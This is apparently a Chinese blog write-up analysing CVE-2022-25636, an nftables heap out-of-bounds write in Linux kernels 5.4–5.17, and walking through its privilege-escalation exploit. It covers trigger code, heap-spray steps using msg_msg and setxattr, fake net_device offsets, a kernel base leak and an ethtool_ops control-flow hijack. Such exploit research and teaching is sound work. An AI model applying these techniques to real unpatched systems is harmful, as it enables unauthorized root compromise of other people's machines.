【kernel exploit】CVE-2022-25636 nftables OOB 写堆指针漏洞利用
影响版本:Linux 5.4-rc1~5.17-rc5。5.17-rc6 已修补。
测试版本:Linux-5.13.19 (原作者在Ubuntu 21.10 内核版本 5.13.0-30 中测试,成功率40%,由于用到 msg_msg
对象,所以只能用 5.14 以前的内核版本进行测试) exploit及测试环境下载地址—https://github.com/bsauce/kernel-exploit-factory
编译选项:
CONFIG_NF_TABLES=y(对应 nf_tables_offload.c
)/ CONFIG_NFT_DUP_NETDEV=y(dup
expression 漏洞利用)/ CONFIG_NF_DUP_NETDEV=y(漏洞模块)
CONFIG_SECURITY=y (这样 free_msg() -> security_msg_msg_free() 才会释放 msg_msg->security
指针)
CONFIG_BINFMT_MISC=y (否则启动VM时报错)
CONFIG_USER_NS=y
在编译时将.config
中的CONFIG_E1000
和CONFIG_E1000E
,变更为=y。参考
$ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.13.19.tar.xz
$ tar -xvf linux-5.13.19.tar.xz
# KASAN: 设置 make menuconfig 设置"Kernel hacking" ->"Memory Debugging" -> "KASan: runtime memory debugger"。
$ make -j32
$ make all
$ make modules
# 编译出的bzImage目录:/arch/x86/boot/bzImage。
漏洞描述:nf_table
模块的 net/netfilter/nf_dup_netdev.c
中的 nft_fwd_dup_netdev_offload() 函数由于计算分配空间与实际初始化时判断条件不一致,存在OOB write(系统必须支持包处理卸载-Network Interface Cards (NICs),但是现实中很少见),溢出写入一个 net_device
对象的地址(位于kmalloc-4k),且漏洞对象的大小可以变化(由传入的含 NFT_OFFLOAD_F_ACTION
标记的rule个数决定,可以位于 kmalloc-128
或 kmalloc-192
等等),需要 SYS_ADMIN
权限。利用时通过 msg_msgseg
泄露 net_device
kmalloc-4k 堆指针,通过覆写 msg_msg->security
指针构造任意释放,通过自带功能 ioctl(fd, SIOCGIFHWADDR, leak)
读取 net_device->dev_addr
来泄露内核基址,通过伪造 net_device->ethtool_ops->begin
函数指针劫持控制流提权。
补丁:patch commit-5.4-rc1引入。
保护机制:KASLR/SMEP/SMAP/KPTI
利用总结:需两次触发漏洞,第一次是为了泄露堆地址,第2次是为了泄露内核基址并伪造 net_device
劫持控制流。提权成功率在40%左右,主要原因在于堆喷占据 net_device
对象的成功率较低。
- (1)初始化:设置namspace、绑定到CPU0、保存现场、设置FUSE(结合
setxattr()
进行堆喷,设置两种挂起方式,访问/tmp/foo/1
时根据pipe的通知来结束挂起,以释放setxattr()
内存,访问/tmp/foo/1
时则永久挂起永不释放); - (2)泄露
net_device
对象堆地址(kmalloc-4k):注意需泄露父进程和子进程2个net_device
地址,因为父进程的net_device
会被覆写(用于构造任意读+劫持控制流),只能利用子进程的net_device
上的数据来泄露内核基址。(注意,泄露子进程net_device
时需调用clone()
创建子进程,在子进程中泄露)- (2-1)先喷射500个位于
kmalloc-128
的msg_msgseg
(kmalloc-4k + kmalloc-128
-msg_msg + msg_msgseg
); - (2-2)释放第400个
msg_msgseg
; - (2-3)分配漏洞对象并触发OOB write:构造1条rule分配大小为
0x20+0x50
字节,漏洞对象位于 kmalloc-128 (0x80),则dev指针会写到0x88处,也就是越界偏移0x8(正好写入msg_msgseg
); - (2-4)泄露堆地址:读取
msg_msg
,判断是否读取到0xffff000000000000
类的地址。
- (2-1)先喷射500个位于
- (3)泄露内核基址
- (3-1)准备好
setxattr()
堆喷数据,伪造主进程的dev->name = "lo"
/dev->dev_addr = child_net_device_addr + 0xc8
(指向子线程的net_device->netdev_ops
处,这样就能通过ioctl(fd, SIOCGIFHWADDR, leak)
读取net_device->dev_addr
来泄露内核基址) /dev->addr_len = 0x08
/dev->ifindex = 0x42424242
(可以通过(if_nametoindex("lo") == 0x42424242)
来判断是否堆喷成功); - (3-2)构造任意释放,释放父进程的
net_device
(尝试20次):- 先堆喷500个位于
kmalloc-192
的msg_msg
(msg_msg->type = 0x4141414141414141
); - 释放第400个
msg_msg
; - 分配漏洞对象并触发 OOB write:构造2条rule分配大小为
0x20+0x50+0x50
字节,位于 kmalloc-192 (0xc0),则 dev 指针会写到相邻堆块的0x18 0x68 0xb8 (0xc0+0x48) (0xc0+0x98) (0xc0+0xc0+0x28)
处,恰好第6次溢出写会篡改相邻第3个msg_msg
的msg_msg->security
指针; - 释放
msg_msg
来释放net_device
(前一处溢出会篡改msg_msg->m_type
低4字节为5,可通过判断所读数据的m_type == 0x4141414100000005 ?
来判断是否释放的是被篡改的msg_msg
,也即判断net_device
是否释放成功 )。
- 先堆喷500个位于
- (3-3)堆喷伪造
net_device
:注意要在子线程中调用setxattr()
堆喷 1000 次,因为会阻塞,通过(if_nametoindex("lo") == 0x42424242)
来判断是否堆喷成功; - (3-4)泄露内核基址:通过
ioctl(fd, SIOCGIFHWADDR, leak)
读取dev->dev_addr
;
- (3-1)准备好
- (4)劫持控制流
- (4-1)释放
net_device
:通过pipe通知 FUSE 结束阻塞,释放setxattr()
堆喷的内存块; - (4-2)准备好
setxattr()
堆喷数据,布置好 ROP chain,伪造主进程的dev->ifindex = 0x43434343
/dev->ethtool_ops
/ethtool_ops->begin()
(用于劫持控制流的函数指针); - (4-3)堆喷伪造
net_device
:堆喷1000个setxattr()
,通过(if_nametoindex("lo") == 0x43434343)
来判断是否堆喷成功; - (4-4)劫持控制流:通过调用
ioctl(fd, SIOCETHTOOL, &ifr)
来触发执行net_device->ethtool_ops.begin()
。
- (4-1)释放
1. 漏洞分析
1-1 漏洞发现
缘由:作者也是受了 CVE-2021-22555 的启发,决定审计一下 Netfilter 的源码。首先从协议解析部分看起,主要是从用户层获取configuration input 并进行解析的代码部分(通过 netlink socket 来获取用户输入)开始看,用户可以传入配置信息来激活netfilter中的某些decoder代码。由于syzkaller对这些代码的覆盖有限,所以很有可能发现漏洞。
可疑点:作者在 nft_fwd_dup_netdev_offload() 中看到可疑的一行,一是 ctx->num_actions
用作下标但没有边界检查;二是 ctx->num_actions
下标和访问的主体 flow->rule->action.entries
是来自不同结构的变量,二者没有联系,因为 a->b[x->y]
比 a->b[a->c]
要更可疑。
entry = &flow->rule->action.entries[ctx->num_actions++];
1-2 漏洞分析
漏洞总结:先计算 flag=NFT_OFFLOAD_F_ACTION
的 expression 数量并分配相应大小的空间,但之后进行初始化时却对每个 expression 都调用 nft_fwd_dup_netdev_offload() 进行初始化,导致堆溢出。注意,有的 rule 例如 dup 和 fwd rule 不包含此 flag,只有 nft_immediate expression 才含有此flag,必须强制每条 dup 和 fwd rule 都包含一条 nft_immediate
expression才能避免漏洞。
漏洞调用链:nft_flow_rule_create() -> nft_dup_netdev_offload() / nft_fwd_netdev_offload() (dup / fwd expression) -> nft_fwd_dup_netdev_offload() (溢出点)
struct nft_flow_rule *nft_flow_rule_create(struct net *net, const struct nft_rule *rule)
{
struct nft_offload_ctx *ctx;
struct nft_flow_rule *flow;
int num_actions = 0, err;
struct nft_expr *expr;
expr = nft_expr_first(rule);
while (nft_expr_more(rule, expr)) {
if (expr->ops->offload_flags & NFT_OFFLOAD_F_ACTION)
num_actions++; // [1] 计算 flag == NFT_OFFLOAD_F_ACTION 的 expression 数量 (num_actions), dup 和 fwd expression 都不含此flag
expr = nft_expr_next(expr);
}
...
flow = nft_flow_rule_alloc(num_actions); // [2] 分配包含 num_actions 个expression 的 rule
...
expr = nft_expr_first(rule);
ctx = kzalloc(sizeof(struct nft_offload_ctx), GFP_KERNEL); // [3] 分配 context ctx, ctx->num_actions 初始化为0
...
ctx->net = net;
ctx->dep.type = NFT_OFFLOAD_DEP_UNSPEC;
while (nft_expr_more(rule, expr)) {
if (!expr->ops->offload) {
err = -EOPNOTSUPP;
goto err_out;
}
err = expr->ops->offload(ctx, flow, expr); // [4] 实际上对每个expression都调用offload漏洞函数(参数是ctx), 只有保证每个 dup/fwd 都包含一个 immediate 才不会溢出
if (err < 0)
goto err_out;
expr = nft_expr_next(expr);
}
...
}
int nft_fwd_dup_netdev_offload(struct nft_offload_ctx *ctx,
struct nft_flow_rule *flow,
enum flow_action_id id, int oif)
{
struct flow_action_entry *entry;
struct net_device *dev;
/* nft_flow_rule_destroy() releases the reference on this device. */
dev = dev_get_by_index(ctx->net, oif);
if (!dev)
return -EOPNOTSUPP;
entry = &flow->rule->action.entries[ctx->num_actions++];// [5] 漏洞点: OOB, 没有堆边界检查, 导致 ctx->num_actions 超过 flow->rule->action.entries 数组范围, 越界写1个整数 (4或5) 和1个指针
entry->id = id;
entry->dev = dev;
return 0;
}
EXPORT_SYMBOL_GPL(nft_fwd_dup_netdev_offload);
漏洞:
[1][2]
:nft_flow_rule_create()
计算带有NFT_OFFLOAD_F_ACTION
flag 标记的 expression数量(使用num_actions
变量来计数),并根据该数量来申请相应大小的结构体;[4]
:调用 offload 进行初始化时没有用num_actions
限制循环次数,而是遍历所有 expression,也没有判断是否含有NFT_OFFLOAD_F_ACTION
flag 标记,导致调用offload次数大于之前申请的flow->rule->action.entries
数量;[5]
:每次调用ctx->num_actions
会加一,且ctx->num_actions
在[3]
处初始化为0,最后ctx->num_actions
会大于flow->rule->action.entries
数组范围,造成越界。
结构关系:nft_flow_rule -> flow_rule -> flow_action -> flow_action_entry
struct nft_flow_rule { // kmalloc-32
__be16 proto;
struct nft_flow_match match;
struct flow_rule *rule; // <----
};
struct flow_rule {
struct flow_match match;
struct flow_action action; // <----
};
struct flow_action {
unsigned int num_entries;
struct flow_action_entry entries[]; // <---- 在最上层 flow_rule 对象中的偏移为 0x20
};
struct flow_action_entry { // 大小 0x50
enum flow_action_id id;
enum flow_action_hw_stats hw_stats;
action_destr destructor;
void *destructor_priv;
union {
u32 chain_index; /* FLOW_ACTION_GOTO */
struct net_device *dev; /* FLOW_ACTION_REDIRECT */
··· ···
};
struct flow_action_cookie *cookie; /* user defined action cookie */
};
漏洞触发:由于不知道如何与 nftables
交互,作者参考了 One mailing list post —— nftables table/chain 定义及安装示例,如何设置 offload
flag 才能到达漏洞点(关键是这个 check 语句)。可以参考 https://www.openwall.com/lists/oss-security/2022/02/21/2,通过C语言的libmnl和libnftnl 库来使用 netfilter更方便,只要添加的rule不包含NFT_OFFLOAD_F_ACTION
flag标记,就能触发OOB。只有nftnl_expr_alloc("immediate");
添加的rule才有NFT_OFFLOAD_F_ACTION
标记:
for(int i = 0; i < legit_writes; i++) {// 如下添加 expr 不会越界: 每条rule都包含一条 `nft_immediate` expression
exprs[exprid] = nftnl_expr_alloc("immediate");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DREG, NFT_REG_1);
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_IMM_DATA, 1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
// 如下添加 expr 会越界
for (int unaccounted_dup = 0; unaccounted_dup < oob_writes; unaccounted_dup++) {
exprs[exprid] = nftnl_expr_alloc("dup");
nftnl_expr_set_u32(exprs[exprid], NFTNL_EXPR_DUP_SREG_DEV, NFT_REG_1);
nftnl_rule_add_expr(rule, exprs[exprid]);
exprid++;
}
1-3. 漏洞测试
漏洞触发测试:
table netdev filter_test {
chain ingress {
type filter hook ingress device eth0 priority 0; flags offload;
ip daddr 192.168.0.10 tcp dport 22 drop
}
}
有了这个例子,就可以测试是否能触发漏洞了。首先,对 flow_rule_alloc() (nft_flow_rule_alloc() -> flow_rule_alloc() 负责创建 action.entries
数组)设置一个 kprobe,来获取其参数 num_actions
的值 —— sudo kprobe-perf -F 'p:flow_rule_alloc num_actions=%di:u32'
,但是失败了,因为Ubuntu上是延迟加载 nftables
,可以先执行 nft -a mailing_list.nft
来强制内核加载 nftables
,这样才能在该函数上设置kprobe。
实际运行 nft -a mailing_list.nft
后居然触发了 kprobe,由于是在VM上测试,这说明没有网络设备和hardware offload 支持,也能触发!
$ sudo nft -f mailing_list.nft
a.nf:1:1-2: Error: Could not process rule: Operation not supported
table netdev x {
^^
$ sudo kprobe-perf 'p:flow_rule_alloc num_actions=%di:u32'
Tracing kprobe flow_rule_alloc. Ctrl-C to end.
nft-20137 [001] .... 1573655.306178: flow_rule_alloc: (flow_rule_alloc+0x0/0x60) num_actions=1
在修改了 example 之后(加入 dup expression,将rule改为ip daddr 192.168.0.10 dup to eth0
),系统还是没有崩溃
可以在创建新的命名空间 (命令 $ unshare -Urn
)之后再运行 nft
命令。
打印rule:执行 nft
命令时加上 -d netlink
可以打印出传入内核的 rule。例如以下。
[ meta load protocol => reg 1 ]
[ cmp eq reg 1 0x00000008 ]
[ payload load 4b @ network header + 16 => reg 1 ]
[ cmp eq reg 1 0x0a00a8c0 ]
[ immediate reg 1 0x00000001 ]
[ dup sreg_dev 1 ]
这样一看就知道为什么没有触发漏洞了,因为CLI在dup(表示包需要复制到的目标设备)之前生成了一个 immediate expression
,所以能不能生成一个不含 immediate expression
的 dup 呢?只能尝试手动构造包了。
用Go写PoC:尝试用Go来构造PoC,因为Go有很多库支持,其中就有 nftables library 。但是在手动构造rule时,发现不能设置 offload flag
,只能在包构造好之后覆写消息数组上的 offload flag
。最后成功触发漏洞。但是写exp时还是得用C来写,毕竟 libmnl / libnftl 库很方便。
2. 漏洞利用
两处OOB write:越界写一个整数(固定为4或5)和一个指针(*dev 指向 net_device
结构体),主要关注指针写。
entry = &flow->rule->action.entries[ctx->num_actions++];
entry->id = id; // [1] 写 4 或 5, 取决于是 fwd 还是 dup
entry->dev = dev; // [2] array 之后的第24字节写 *dev 堆指针
漏洞对象与OOB偏移:作者测试的是5.13内核, flow_rule 结构的头部是0X20字节(不包含 entries 的部分),flow_rule.action.entries
数组中每个entry
( flow_action_entry 结构)是0X50字节,我们只关注 *dev
指针越界写,*dev
指针会被写到 flow_action_entry 结构的偏移 0x18 处(例如相邻 kmalloc-32 / kmalloc-192 的偏移24处,或者kmalloc-128的偏移8处):
- 如果rule中没有
immediate
,则rule位于 kmalloc-32; - 1条rule分配大小为
0x20+0x50
字节,位于 kmalloc-128 (0x80),则dev指针会写到0x88处,也就是越界偏移0x8(泄露net_device
堆地址时可以覆写位于 kmalloc-128 的msg_msgseg
); - 2条rule分配
0x20+0x50+0x50
字节,位于kmalloc-192 (0xc0),则dev指针会写到0xd8处,也就是越界偏移0x18,越界2次会写在偏移0x18+0x50
处,以此类推(受到 CVE-2021-26708 的启发,构造任意释放时,可以溢出6次以覆写第相邻的第3个msg_msg
的msg_msg->security
指针,具体的6次 OOB write 偏移为0x18 0x68 0xb8 (0xc0+0x48) (0xc0+0x98) (0xc0+0xc0+0x28)
)。
2-1 泄露 net_device 堆地址
方法:泄露两次 *dev
地址,1个在父进程泄露,1个在子进程泄露。
- (1)堆喷大小为0x1040的
msg_msg
(位于kmalloc-4k + kmalloc-128
); - (2)释放一个msg(会释放一个
kmalloc-128
); - (3)分配大小也为
kmalloc-128
的漏洞对象并触发OOB,在kmalloc-128 的msg_msgseg
偏移0x8处写入*dev
堆指针; - (4)读取
msg_msg
即可泄露net_device
堆地址。
2-2 泄露内核基址
方法:
- (1)堆喷位于 kmalloc-192 的
msg_msg
; - (2)释放1个作为hole;
- (3)这次构造2个rule触发 kmalloc-192 的漏洞OOB;
- (4)任意释放:越界在相邻堆块的偏移
0x18+0x50*5
的地方写入*dev
指针,正好是第3个kmalloc-192 msg_msg
的偏移0x28 处,也就是msg_msg->security
指针,这样就能利用释放msg_msg->security
来释放net_device
结构体。
static long do_msgrcv(int msqid, void __user *buf, size_t bufsz, long msgtyp, int msgflg,
long (*msg_handler)(void __user *, struct msg_msg *, size_t))
{
...
free_msg(msg);
...
}
void free_msg(struct msg_msg *msg)
{
...
security_msg_msg_free(msg);
...
}
void security_msg_msg_free(struct msg_msg *msg)
{
call_void_hook(msg_msg_free_security, msg);
kfree(msg->security); // <----------
msg->security = NULL;
}
- (5)利用
setxattr()+userfaultfd
堆喷伪造net_device
对象(位于kmalloc-4k)。篡改net_device->dev_addr
指向子进程的net_device->netdev_ops
位置,因为netdev_ops
会初始化为loopback_ops
,也即内核基址。可根据net_device->name
来判断是否堆喷篡改是否成功;
((uint64_t*)(setxattr_bufs[i]))[2] = 0x6f6c; // dev->name = "lo"
((uint64_t*)(setxattr_bufs[i]))[104] = child_net_device_leak + 0xc8; // set dev_addr ptr
((uint64_t*)(setxattr_bufs[i]))[78] = 0x0808080800000000; // set addr_len to '0x08'
((uint64_t*)(setxattr_bufs[i]))[28] = 0x42424242; // ifindex
- (6)接下来只要调用
ioctl(fd, SIOCGIFHWADDR, leak)
功能读取物理地址,就可以读取到net_device->dev_addr
指向的值来泄露内核基址。net_device 中有用的成员和对应偏移如下所示:
struct net_device {
char name[16]; /* 0 0x10 */ // 修改name用于判断是否成功堆喷篡改 `net_device`
...
const struct net_device_ops * netdev_ops; /* 0xc8 0x8 */ // 用于泄露 kernel base
int ifindex; /* 0xd0 0x4 */ //
...
const struct ethtool_ops * ethtool_ops; /* 0x210 0x8 */ // <-------- 用于劫持 RIP
...
unsigned char addr_len; /* 0x265 0x1 */ // 泄露内核基址时可读取的地址长度
...
unsigned char * dev_addr; /* 0x330 0x8 */ // 篡改用于泄露地址(伪造后指向子线程的 `net_device->netdev_ops`处), 调用 ioctl(SIOCGIFHWADDR) 即可泄露 kernel base
...
}
地址泄露的调用路径:SYSCALL-ioctl -> vfs_ioctl() -> sock_ioctl() -> sock_do_ioctl() -> dev_ioctl() -> dev_get_mac_address() 读取 net_device->dev_addr
mac 地址。
int dev_ioctl(struct net *net, unsigned int cmd, struct ifreq *ifr, bool *need_copyout)
{
int ret;
char *colon;
...
switch (cmd) {
case SIOCGIFHWADDR: // ioctl(SIOCGIFHWADDR)
dev_load(net, ifr->ifr_name);
ret = dev_get_mac_address(&ifr->ifr_hwaddr, net, ifr->ifr_name); // <---- dev_get_mac_address()
if (colon)
*colon = ':';
return ret;
...
}
}
int dev_get_mac_address(struct sockaddr *sa, struct net *net, char *dev_name)
{
size_t size = sizeof(sa->sa_data);
struct net_device *dev;
int ret = 0;
down_read(&dev_addr_sem);
rcu_read_lock();
dev = dev_get_by_name_rcu(net, dev_name);
if (!dev) {
ret = -ENODEV;
goto unlock;
}
if (!dev->addr_len)
memset(sa->sa_data, 0, size);
else
memcpy(sa->sa_data, dev->dev_addr, // <-------- 获取 `net_device->dev_addr` 位置处的数据, 还要伪造 `net_device->addr_len` 长度值为 0x8
min_t(size_t, size, dev->addr_len));
sa->sa_family = dev->type;
unlock:
rcu_read_unlock();
up_read(&dev_addr_sem);
return ret;
}
EXPORT_SYMBOL(dev_get_mac_address);
2-3 劫持控制流并提权
同样的方法,使用 setxattr()+userfaultfd
堆喷伪造 net_device
对象,篡改net_device->ethtool_ops
劫持控制流,调用使用 ioctl(fd, SIOCETHTOOL, &ifr)
就会触发执行 net_device->ethtool_ops.begin()
劫持控制流,然后ROP即可。作者测试环境为 Ubuntu 21.10 内核版本 13.0-30。
结构关系:net_device -> ethtool_ops -> int (*begin)(struct net_device *)
struct net_device {
char name[16]; /* 0 0x10 */ // 修改name用于判断是否成功堆喷篡改 `net_device`
...
const struct net_device_ops * netdev_ops; /* 0xc8 0x8 */ // 用于泄露 kernel base
int ifindex; /* 0xd0 0x4 */ //
...
const struct ethtool_ops * ethtool_ops; /* 0x210 0x8 */ // <-------- 用于劫持 RIP
...
unsigned char addr_len; /* 0x265 0x1 */ // 泄露内核基址时可读取的地址长度
...
unsigned char * dev_addr; /* 0x330 0x8 */ // 篡改用于泄露地址(伪造后指向子线程的 `net_device->netdev_ops`处), 调用 ioctl(SIOCGIFHWADDR) 即可泄露 kernel base
...
}
struct ethtool_ops {
...
int (*begin)(struct net_device *); // 0xc8 待劫持的目标函数指针, $rdi 指向可控的 net_device, 使用 rdi->rsp 类型的 pivot gadget
...
}
调用路径:SYSCALL-ioctl -> vfs_ioctl() -> sock_ioctl() -> sock_do_ioctl() -> dev_ioctl() -> dev_ethtool() 最终调用执行 net_device->ethtool_ops.begin()
函数。
int dev_ioctl(struct net *net, unsigned int cmd, struct ifreq *ifr, bool *need_copyout)
{
int ret;
char *colon;
...
switch (cmd) {
...
case SIOCETHTOOL:
dev_load(net, ifr->ifr_name);
rtnl_lock();
ret = dev_ethtool(net, ifr); // <-----
rtnl_unlock();
if (colon)
*colon = ':';
return ret;
...
}
}
int dev_ethtool(struct net *net, struct ifreq *ifr)
{
struct net_device *dev = __dev_get_by_name(net, ifr->ifr_name);
void __user *useraddr = ifr->ifr_data;
u32 ethcmd, sub_cmd;
int rc;
netdev_features_t old_features;
if (!dev || !netif_device_present(dev))
return -ENODEV;
if (copy_from_user(ðcmd, useraddr, sizeof(ethcmd)))
return -EFAULT;
if (ethcmd == ETHTOOL_PERQUEUE) {
if (copy_from_user(&sub_cmd, useraddr + sizeof(ethcmd), sizeof(sub_cmd))) // ifreq->ifr_data
return -EFAULT;
} else {
sub_cmd = ethcmd;
}
...
if (dev->ethtool_ops->begin) {
rc = dev->ethtool_ops->begin(dev); // 控制流劫持点
if (rc < 0)
return rc;
}
old_features = dev->features;
switch (ethcmd) {
case ETHTOOL_GSET:
rc = ethtool_get_settings(dev, useraddr);
break;
...
}
}
测试截图:
3. 补充
3-1 常用命令
libfuse安装:参考 Ubuntu 18.04 LTS编译安装FUSE
# (1)方法1:直接命令行安装
$ sudo apt-get install -y libfuse-dev
# (2)方法2:源码安装
$ sudo apt-get install ninja-build meson python
# Meson预处理
$ tar zxvf libfuse-fuse-3.8.0.tar.gz
$ mv libfuse-fuse-3.8.0 libfuse
$ cd libfuse
$ mkdir build; cd build
$ meson ..
# 使用Ninja来build,test和 install libfuse
$ ninja
$ sudo python3 -m pytest test/
$ sudo apt-get install python3-pip # 安装pip3
$ pip3 install pytest # 安装python3 的pytest模块
$ sudo ninja install # 默认安装目录是 /usr/local/include/fuse3
# 问题: meson 版本太老 Meson version is 0.37.1 but project requires >= 0.42.
$ sudo apt-get install python3-pip
$ pip3 install --user meson
$ meson -v
$ export PATH=~/.local/bin:$PATH
$ meson -v
# 更新 python https://segmentfault.com/a/1190000021967408
$ sudo apt update
$ sudo apt install software-properties-common
$ sudo add-apt-repository ppa:deadsnakes/ppa
$ sudo apt install python3.8
libmnl / libnftl 安装:参见 CVE-2022-32250
$ sudo apt-get install libcap2-bin bzip2 make pkg-config # 安装 setcap/bzip2/make/pkg-config
$ tar -jxvf xx.tar.bz2
$ ./configure --prefix=/usr && make # libmnl / libnftl
$ sudo make install
常用命令:
# ssh连接与测试
$ ssh -p 10021 hi@localhost # password: lol
$ ./exploit
# scp 传文件
$ scp -P 10021 ./exploit hi@localhost:/home/hi # 传文件
$ scp -P 10021 hi@localhost:/home/hi/trace.txt ./ # 下载文件
$ scp -P 10021 ./exploit.c ./get_root.c ./exploit ./get_root hi@localhost:/home/hi
3-2 exp 编译问题
现在问题是,在文件系统中安装FUSE很困难(需要更新一系列软件,例如meson/python等),可以采用之前调试CVE-2021-41073时用到的FUSE静态库;而 libmnl / libnftl 库只能用动态版本。所以编译exp时要么全部动态编译,要么部分动态编译部分静态编译,如果在主机上编译也会有问题,gcc版本不兼容,所以传入到QEMU中执行不了。所以只能直接在QEMU上对exp进行部分动态编译+部分静态编译。
解决1-更新gcc:问题是QEMU中gcc版本是6.3.0,太老了,如何更新到gcc 9.0 以上呢?
# (1) 源码更新
$ wget https://ftp.gnu.org/gnu/gcc/gcc-9.1.0/gcc-9.1.0.tar.gz
$ tar -zxvf gcc-9.1.0.tar.gz
$ cd gcc-9.1.0
#检测和安装相关依赖包,这个过程需要耐心等待(此步骤会将依赖包下载到gcc-7.3.0目录,如果因网络原因无法完成请自行使用wget下载)
$ ./contrib/download_prerequisites
$ mkdir build
$ cd build
$ ../configure -enable-checking=release -enable-languages=c,c++ -disable-multilib
#编译过程漫长,请耐心等待
$ make -j4
$ sudo make install
# (2) apt-get 更新gcc —— 失败
$ sudo apt-get install software-properties-common # add-apt-repository
$ sudo add-apt-repository ppa:ubuntu-toolchain-r/test
$ sudo apt-get update
$ sudo apt-get install gcc-11
解决2-更新文件系统(自带新版本gcc):gcc更新总是失败,试着创建一个新的文件系统,采用最新的Debian 为基础(Debian 11 - bullseye,Debian 10 - buster,Debian 9 - stretch)。利用syzkaller中用到的 create-image.sh
脚本来构建,将 stretch
改为 bullseye
编译exp:libfuse 参见 CVE-2021-41073
$ sudo apt-get install -y libfuse-dev # 不安装的话没有 -lfuse 选项
# 编译exp 注意libmnl不支持静态编译,加 -static 就会报错; 加 -lrt 表示实时库
$ gcc -no-pie ./exploit.c ./fakefuse.c -I/usr/include/fuse -lfuse -masm=intel -pthread -lmnl -lnftnl -o exploit
# 记录一下尝试的其他编译命令
# static libfuse $ gcc -no-pie ./exploit.c ./fakefuse.c -I./libfuse libfuse3.a -masm=intel -pthread -lmnl -lnftnl -o exploit
# dynamic $ gcc -no-pie ./exploit.c ./fakefuse.c -I/usr/local/include/fuse3 -lfuse -masm=intel -pthread -lmnl -lnftnl -o exploit
# dynamic $ gcc -no-pie ./exploit.c ./fakefuse.c -I/usr/include/fuse -lfuse -masm=intel -pthread -lmnl -lnftnl -o exploit
# half dynamic $ gcc -no-pie ./exploit.c ./fakefuse.c -Wl,-Bstatic -I./libfuse libfuse3.a -Wl,-Bdynamic -lmnl -lnftnl -o exploit -masm=intel -lpthread
# half dynamic $ gcc -no-pie ./exploit.c ./fakefuse.c -Wl,-Bstatic -I./libfuse libfuse3.a -masm=intel -pthread -Wl,-Bdynamic -lmnl -lnftnl -o exploit
参考
The Discovery and Exploitation of CVE-2022-25636 —— 作者1的writeup
exploit —— 另一位作者的exp
How To Fix CVE-2022-25636- A Heap Out Of Bounds Write Vulnerability In Netfilter
https://www.openwall.com/lists/oss-security/2022/02/21/2
https://www.openwall.com/lists/oss-security/2022/02/22/1
[漏洞分析] CVE-2022-25636 netfilter内核提权
其他:
linux双机调试环境配置 —— 安装官方发布的调试符号信息
双机调试Linux内核 —— 自己编译内核并安装调试符号,双机调试
GCC同时使用静态库和动态库链接 2 —— 部分动态编译部分静态编译exp
文档信息
- 本文作者:bsauce
- 本文链接:https://bsauce.github.io/2022/12/13/CVE-2022-25636/
- 版权声明:自由转载-非商用-非衍生-保持署名(创意共享3.0许可证)